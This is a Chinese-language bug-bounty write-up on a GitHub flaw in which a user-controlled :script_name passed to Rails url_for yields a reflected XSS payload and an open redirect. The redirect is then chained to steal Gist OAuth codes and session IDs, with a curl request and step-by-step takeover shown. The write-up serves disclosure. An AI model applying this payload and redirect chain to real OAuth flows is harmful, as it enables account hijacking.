0x01 前言
安全研究员William Bowling在研究GitHub用于生成url的每种方法过程中,找到了可用于创建所需令牌的方法url_for
,并实现了Gist账户接管,最终获得$10000赏金。
0x02 漏洞发现
url_for
方法经常被用来生成指向其他控制器的链接。虽然无法找到任何地方可以作为旁路使用,但也发现了一些点,调用url_for
与用户一个可控的哈希。这时候,哈希中的任何额外的参数都会被附加到url中作为一个查询字符串。通过查看档,发现有相当多的选项是可以控制的:
1 .:only_path
– 如果为true,返回相对的URL。默认为false
2 .:protocol
– 要连接的协议,默认为http
3 .:host
– 指定链接的目标主机。如果:only_path为false,则必须显式或通过default_url_options提供该选项
4 .:subdomain
– 指定链接的子域,使用tld_length将子域与主机分割开来。如果为false,则删除链接主机部分的所有子域
5 .:domain
– 指定链接的域,使用tld_length将域从主机中分割出来
6 .:tld_length
– TLD id 组成的标签数,只有在提供 :subdomain 或 :domain 时才使用。默认值为ActionDispatch::Http::URL.tld_length,而默认值为1
7 .:port
– 可选择指定连接的端口
8 .:anchor
– 附加在路径上的锚名称
9 .:params
– 要附加到路径上的查询参数
10 .:trailing_slash
– 如果为true,则在路径后面添加一个斜线,如”/archive/2009/“
11 .:script_name
– 指定相对于域根的应用程序路径。如果提供了,则预置应用程序路径
我以前在其他应用程序中看到过一些比较常见的选项,比如:protocol
, :host
选项被列入黑名单/删除,或者:only_path
被设置为 true 以防止被使用(即使是 brakeman 建议这样做是安全的),但以前从未见过 :script_name param
。它被path_for
方法使用,如果它存在,将被用在路径的开头:
def path_for(options)
path = options[:script_name].to_s.chomp("/")
path << options[:path] if options.key?(:path)
add_trailing_slash(path) if options[:trailing_slash]
add_params(path, options[:params]) if options.key?(:params)
add_anchor(path, options[:anchor]) if options.key?(:anchor)
path
end
GitHub上有几个地方使用了下面类似的代码创建链接:
<a class="link" href="<%= url_for(request.query_parameters.merge(only_path: true)) %>">
Click me
</a>
这就意味着,如果使用字符串?script_name=javascript:alert(1)//
最终会生成以下html:
<a class="link" href="javascript:alert(1)//user/repo/...">
Click me
</a>
然而,这只是一个低严重性的反射型XSS,需要点击,也被CSP所阻止,但这仍然可以看做一个有趣的bug。
随后,我发现另一个地方使用url_for
与可控参数,这次是作为重定向的一部分。这段代码在应用程序控制器中,做了如下操作(方法/参数名称已被更改):
before_action :check_source
def check_source
source = params["source"]
return redirect_to(check_source_redirect_url) if source == "message"
end
def check_source_redirect_url
query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values || {}
filtered_params = query.except("source", "token").merge(only_path: true)
url_for(filtered_params)
end
由于使用only_path: true
,通常只允许使用现有主机的URL,只保留查询参数。但如果使用script_name
就会得到一些有趣的结果,script_name
不需要以斜杠开头,当与redirect_to
一起使用时,可以被附加到host中:
curl -i 'http://local.dev?source=message&script_name=ggg'
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Location: http://local.devggg/welcome/index
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: 7c8eedfa-f552-4d5a-bbcd-295f4e7fd9c0
X-Runtime: 0.002744
Transfer-Encoding: chunked
<html><body>You are being <a href="http://local.devggg/welcome/index">redirected</a>.</body></html>
由于域名的结尾是可控的,如果用.attacker.domain
作为script_name
,就会重定向到他们的域名。
0x03 漏洞利用
第二天,我和corb3nik聊起开放重定向的影响,他提到 OAuth tokens
是很挖掘的目标。回头再看这个重定向bug,我发现它其实很厉害,因为它在应用控制器中很早就被影响,这意味着将影响几乎所有的路径(所有的控制器都会扩展应用控制器)。
GitHub自带一些内置的OAuth应用,其中一个就是针对Gist的。GitHub Gist与GitHub是同一个rails应用,只是在不同的主机名后面,拥有有不同的路径。当登录Gist时,通过正常的OAuth流程是一大堆重定向,看起来像这样:
1 .https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback
2 .https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY
3 .https://gist.github.com/auth/github
4 .https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code&state=ZZZ
5 .https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY&state=ZZZ
6 .https://gist.github.com/
为了成功登录Gist,攻击者只需要browser_session_id
和code
,因为client_id
是公开的,state param
可以由攻击者生成,因为它只是为了防止CSRF。
初始重定向redirect_uri
携带有code
和 browser_session_id
,所以我试着在其中添加 script_name=.wbowling.info
。结果成功了,我被重定向到我自己的域名,并添加了所需的参数。
在一个新建的浏览器隐私页面,我去https://gist.github.com/auth/github/callback
,抓取一个有效的状态参数,然后使用这份browser_session_id
、code
和 state
参数,成功登录了账户。
由于GitHub和Gist使用不同的会话令牌,虽然它不允许访问github.com,但允许完全访问Gist。
最终我因为这个发现,获得了$10000的赏金。